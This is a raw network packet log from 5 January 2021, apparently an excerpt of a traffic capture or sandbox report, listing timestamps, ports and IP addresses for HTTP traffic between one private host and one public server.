Jan 5, 2021 19:05:23.150152922 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150186062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150186062 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150198936 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150214911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150250912 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150254965 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150275946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150278091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150315046 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150315046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150336027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150346041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150372028 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150388002 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150402069 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150413990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150460005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150460958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150476933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150490999 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150527000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150535107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150552988 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150566101 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150588989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150597095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150615931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150619984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150652885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150655031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150677919 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150716066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152411938 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152455091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152478933 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152493000 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152509928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152514935 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152539015 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152551889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152580976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152585030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152601957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152616024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152652025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152658939 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152677059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152690887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152713060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152714014 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152736902 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152750015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152774096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152776003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152797937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152811050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152829885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152844906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152863979 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152874947 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152910948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152911901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152931929 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152936935 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152971983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.152972937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152996063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.152998924 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153032064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153033018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153058052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153072119 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153100014 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153104067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153134108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153135061 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153152943 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153168917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153187990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153194904 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153215885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153232098 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153253078 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153254986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153280020 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153291941 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153311968 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153316021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153347969 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153362036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153378963 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153423071 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153434038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153474092 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153496981 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153496981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153528929 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153532982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153558016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153585911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153603077 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153618097 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153629065 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153642893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153666019 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153691053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153696060 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153703928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153728008 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153728962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153752089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153769970 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153789997 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153799057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153821945 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153827906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153856993 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153863907 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153877974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153891087 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153912067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153927088 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153940916 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.153949976 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153975010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.153984070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154009104 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154011965 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154046059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154059887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154087067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154090881 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154110909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154123068 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154146910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154161930 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154171944 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154186010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154207945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154221058 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154242039 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154242992 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154261112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154262066 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154287100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154300928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154324055 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154325962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154346943 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154365063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154380083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154383898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154407978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154413939 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154444933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154459000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154474974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154489040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154524088 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154547930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154551983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154584885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154584885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154592991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154611111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154620886 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154643059 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154649973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154674053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154700994 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154702902 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154721022 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154728889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154735088 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154763937 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154763937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154789925 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154802084 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154814005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154825926 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.154855967 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.154870987 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.205758095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.205986023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206541061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206572056 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206619024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206653118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206667900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206676006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206691027 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206693888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206717968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206742048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206763029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206768036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206785917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206794024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206799030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206825018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206840992 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206856012 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206864119 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206892967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206914902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206923008 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206937075 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.206942081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206973076 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.206990004 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207005978 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207010031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207041025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207058907 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207078934 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207081079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207108974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207120895 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207138062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207139015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207165956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207180023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207200050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207204103 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207231045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207250118 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207264900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207267046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207293987 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207310915 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207325935 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207330942 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207366943 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207370043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207406044 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207407951 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207436085 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207437992 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207473040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207478046 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207499981 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207514048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207536936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207540989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207562923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207581043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207592964 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207601070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207638979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207644939 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207657099 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207681894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207707882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207722902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207746029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207746983 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207776070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207799911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207813025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207827091 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207839012 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207845926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207876921 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207881927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207911968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207916975 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207953930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207954884 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.207971096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.207999945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208018064 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208048105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208082914 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208093882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208100080 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208106041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208110094 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208127022 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208132982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208148956 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208159924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208173990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208197117 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208211899 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208225012 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208245993 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208261967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208262920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208298922 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208302975 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208339930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208367109 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208384037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208398104 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208405018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208405018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208421946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208431005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208467007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208467960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208483934 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208493948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208524942 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208530903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208549976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208568096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208584070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208609104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208619118 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208640099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208683014 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208684921 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208694935 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208723068 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208744049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208750963 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208787918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208796024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208813906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208832026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208848953 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208848953 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208889961 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208892107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208909988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208923101 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208945990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208951950 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.208971024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.208977938 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209017992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209036112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209043026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209049940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209084988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209086895 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209112883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.209130049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.209148884 CET	49167	80	192.168.2.22	83.172.144.37
